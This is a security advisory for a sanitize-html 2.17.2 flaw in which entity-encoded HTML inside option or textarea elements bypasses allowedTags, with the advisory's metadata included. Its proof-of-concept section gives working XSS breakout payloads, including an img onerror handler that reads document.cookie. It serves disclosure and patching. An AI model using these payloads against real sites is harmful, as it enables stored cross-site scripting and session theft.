GHSA-9MRH-V2V3-XPFM
Vulnerability from github – Published: 2026-04-16 21:08 – Updated: 2026-04-16 21:08Summary
Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.
Details
The vulnerable code is at packages/sanitize-html/index.js:569-573:
} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
// htmlparser2 does not decode entities inside raw text elements like
// textarea and option. The text is already properly encoded, so pass
// it through without additional escaping to avoid double-encoding.
result += text;
}
The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:
const htmlparser2 = require('htmlparser2');
const parser = new htmlparser2.Parser({
ontext(text) { console.log(JSON.stringify(text)); }
});
parser.write('<option><script></option>');
// Outputs: "<", "script", ">" — entities are decoded
Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.
The execution flow:
1. Attacker submits: <option><img src=x onerror=alert(1)></option>
2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)>
3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true
4. Line 573: result += text — writes decoded text directly without escaping
5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags
The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.
Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.
PoC
Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.
Step 1: Basic tag injection via option
const sanitize = require('sanitize-html');
const output = sanitize(
'<option><script>alert(1)</script></option>',
{ allowedTags: ['option'] }
);
console.log(output);
// Expected (safe): <option><script>alert(1)</script></option>
// Actual (vulnerable): <option><script>alert(1)</script></option>
Step 2: Element breakout with XSS event handler
const output2 = sanitize(
'<option></option><img src=x onerror=alert(document.cookie)></option>',
{ allowedTags: ['option'] }
);
console.log(output2);
// Output: <option></option><img src=x onerror=alert(document.cookie)></option>
// The <img> tag escapes the option context and executes the onerror handler
Step 3: Textarea breakout (also vulnerable)
const output3 = sanitize(
'<textarea></textarea><img src=x onerror=alert(1)></textarea>',
{ allowedTags: ['textarea'] }
);
console.log(output3);
// Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>
Step 4: Full select/option context breakout
const output4 = sanitize(
'<select><option></option></select><img src=x onerror=alert(1)></option></select>',
{ allowedTags: ['select', 'option'] }
);
console.log(output4);
// Output: <select><option></option></select><img src=x onerror=alert(1)></option></select>
// Breaks out of both option and select elements
All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.
Impact
- Complete
allowedTagsbypass: Any HTML tag can be injected through an allowedoptionortextareaelement using entity encoding, defeating the core security guarantee of sanitize-html. - Stored XSS: Applications that sanitize user-submitted HTML and allow
optionortextareatags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - Session hijacking: Attackers can inject event handlers (
onerror,onload, etc.) to steal session cookies or authentication tokens. - Scope: Affects non-default configurations only — the default
allowedTagsdoes not includeoptionortextarea. However, these tags are commonly allowed in applications that handle form-related HTML content.
Recommended Fix
Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).
--- a/packages/sanitize-html/index.js
+++ b/packages/sanitize-html/index.js
@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {
// your concern, don't allow them. The same is essentially true for style tags
// which have their own collection of XSS vectors.
result += text;
- } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
- // htmlparser2 does not decode entities inside raw text elements like
- // textarea and option. The text is already properly encoded, so pass
- // it through without additional escaping to avoid double-encoding.
- result += text;
} else if (!addedText) {
const escaped = escapeHtml(text, false);
if (options.textFilter) {
This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sanitize-html"
},
"ranges": [
{
"events": [
{
"introduced": "2.17.2"
},
{
"fixed": "2.17.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40186"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:08:29Z",
"nvd_published_at": "2026-04-15T21:17:27Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nCommit 49d0bb7 introduced a regression in sanitize-html that bypasses `allowedTags` enforcement for text inside `nonTextTagsArray` elements (`textarea` and `option`). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes `option` or `textarea` in its `allowedTags` configuration.\n\n## Details\n\nThe vulnerable code is at `packages/sanitize-html/index.js:569-573`:\n\n```javascript\n} else if ((options.disallowedTagsMode === \u0027discard\u0027 || options.disallowedTagsMode === \u0027completelyDiscard\u0027) \u0026\u0026 (nonTextTagsArray.indexOf(tag) !== -1)) {\n // htmlparser2 does not decode entities inside raw text elements like\n // textarea and option. The text is already properly encoded, so pass\n // it through without additional escaping to avoid double-encoding.\n result += text;\n}\n```\n\nThe comment is factually incorrect. htmlparser2 10.x **does** decode HTML entities inside both `\u003ctextarea\u003e` and `\u003coption\u003e` elements before passing text to the `ontext` callback. This can be verified:\n\n```javascript\nconst htmlparser2 = require(\u0027htmlparser2\u0027);\nconst parser = new htmlparser2.Parser({\n ontext(text) { console.log(JSON.stringify(text)); }\n});\nparser.write(\u0027\u003coption\u003e\u0026lt;script\u0026gt;\u003c/option\u003e\u0027);\n// Outputs: \"\u003c\", \"script\", \"\u003e\" \u2014 entities are decoded\n```\n\nBecause the code assumes the text is \"already properly encoded\" and skips `escapeHtml()`, the decoded entities (`\u003c`, `\u003e`) are written directly to the output as literal HTML characters. This completely bypasses the `allowedTags` filter \u2014 any tag can be injected inside an allowed `option` or `textarea` element using entity encoding.\n\nThe execution flow:\n1. Attacker submits: `\u003coption\u003e\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/option\u003e`\n2. htmlparser2 parses and decodes entities \u2192 `ontext` receives `\u003cimg src=x onerror=alert(1)\u003e`\n3. Code at line 569 checks: tag is `option`, which is in `nonTextTagsArray` \u2192 true\n4. Line 573: `result += text` \u2014 writes decoded text directly without escaping\n5. Output: `\u003coption\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e` \u2014 `\u003cimg\u003e` tag injected despite not being in `allowedTags`\n\nThe `script` and `style` tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to `textarea` and `option`, plus any custom elements added to `nonTextTags` by the user.\n\nPrior to commit 49d0bb7, text in these elements fell through to the `escapeHtml` branch (line 574-580), which correctly re-encoded the decoded entities.\n\n## PoC\n\n**Prerequisites:** Application using sanitize-html 2.17.2 with `option` or `textarea` in `allowedTags`.\n\n**Step 1: Basic tag injection via option**\n```javascript\nconst sanitize = require(\u0027sanitize-html\u0027);\nconst output = sanitize(\n \u0027\u003coption\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/option\u003e\u0027,\n { allowedTags: [\u0027option\u0027] }\n);\nconsole.log(output);\n// Expected (safe): \u003coption\u003e\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/option\u003e\n// Actual (vulnerable): \u003coption\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/option\u003e\n```\n\n**Step 2: Element breakout with XSS event handler**\n```javascript\nconst output2 = sanitize(\n \u0027\u003coption\u003e\u0026lt;/option\u0026gt;\u0026lt;img src=x onerror=alert(document.cookie)\u0026gt;\u003c/option\u003e\u0027,\n { allowedTags: [\u0027option\u0027] }\n);\nconsole.log(output2);\n// Output: \u003coption\u003e\u003c/option\u003e\u003cimg src=x onerror=alert(document.cookie)\u003e\u003c/option\u003e\n// The \u003cimg\u003e tag escapes the option context and executes the onerror handler\n```\n\n**Step 3: Textarea breakout (also vulnerable)**\n```javascript\nconst output3 = sanitize(\n \u0027\u003ctextarea\u003e\u0026lt;/textarea\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/textarea\u003e\u0027,\n { allowedTags: [\u0027textarea\u0027] }\n);\nconsole.log(output3);\n// Output: \u003ctextarea\u003e\u003c/textarea\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/textarea\u003e\n```\n\n**Step 4: Full select/option context breakout**\n```javascript\nconst output4 = sanitize(\n \u0027\u003cselect\u003e\u003coption\u003e\u0026lt;/option\u0026gt;\u0026lt;/select\u0026gt;\u0026lt;img src=x onerror=alert(1)\u0026gt;\u003c/option\u003e\u003c/select\u003e\u0027,\n { allowedTags: [\u0027select\u0027, \u0027option\u0027] }\n);\nconsole.log(output4);\n// Output: \u003cselect\u003e\u003coption\u003e\u003c/option\u003e\u003c/select\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e\u003c/select\u003e\n// Breaks out of both option and select elements\n```\n\nAll outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.\n\n## Impact\n\n- **Complete `allowedTags` bypass**: Any HTML tag can be injected through an allowed `option` or `textarea` element using entity encoding, defeating the core security guarantee of sanitize-html.\n- **Stored XSS**: Applications that sanitize user-submitted HTML and allow `option` or `textarea` tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting.\n- **Session hijacking**: Attackers can inject event handlers (`onerror`, `onload`, etc.) to steal session cookies or authentication tokens.\n- **Scope**: Affects non-default configurations only \u2014 the default `allowedTags` does not include `option` or `textarea`. However, these tags are commonly allowed in applications that handle form-related HTML content.\n\n## Recommended Fix\n\nRemove the vulnerable code block at lines 569-573 entirely. The `escapeHtml` branch (line 574) correctly handles these elements \u2014 htmlparser2 10.x decodes entities, and re-encoding with `escapeHtml` produces correct HTML output (entities are round-tripped, not double-encoded).\n\n```diff\n--- a/packages/sanitize-html/index.js\n+++ b/packages/sanitize-html/index.js\n@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {\n // your concern, don\u0027t allow them. The same is essentially true for style tags\n // which have their own collection of XSS vectors.\n result += text;\n- } else if ((options.disallowedTagsMode === \u0027discard\u0027 || options.disallowedTagsMode === \u0027completelyDiscard\u0027) \u0026\u0026 (nonTextTagsArray.indexOf(tag) !== -1)) {\n- // htmlparser2 does not decode entities inside raw text elements like\n- // textarea and option. The text is already properly encoded, so pass\n- // it through without additional escaping to avoid double-encoding.\n- result += text;\n } else if (!addedText) {\n const escaped = escapeHtml(text, false);\n if (options.textFilter) {\n```\n\nThis fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through `escapeHtml()`, ensuring decoded entities are properly re-encoded before output.",
"id": "GHSA-9mrh-v2v3-xpfm",
"modified": "2026-04-16T21:08:29Z",
"published": "2026-04-16T21:08:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-9mrh-v2v3-xpfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40186"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/7ca2d16237c72718ef7e5c7ae0458e6027ac4f64"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.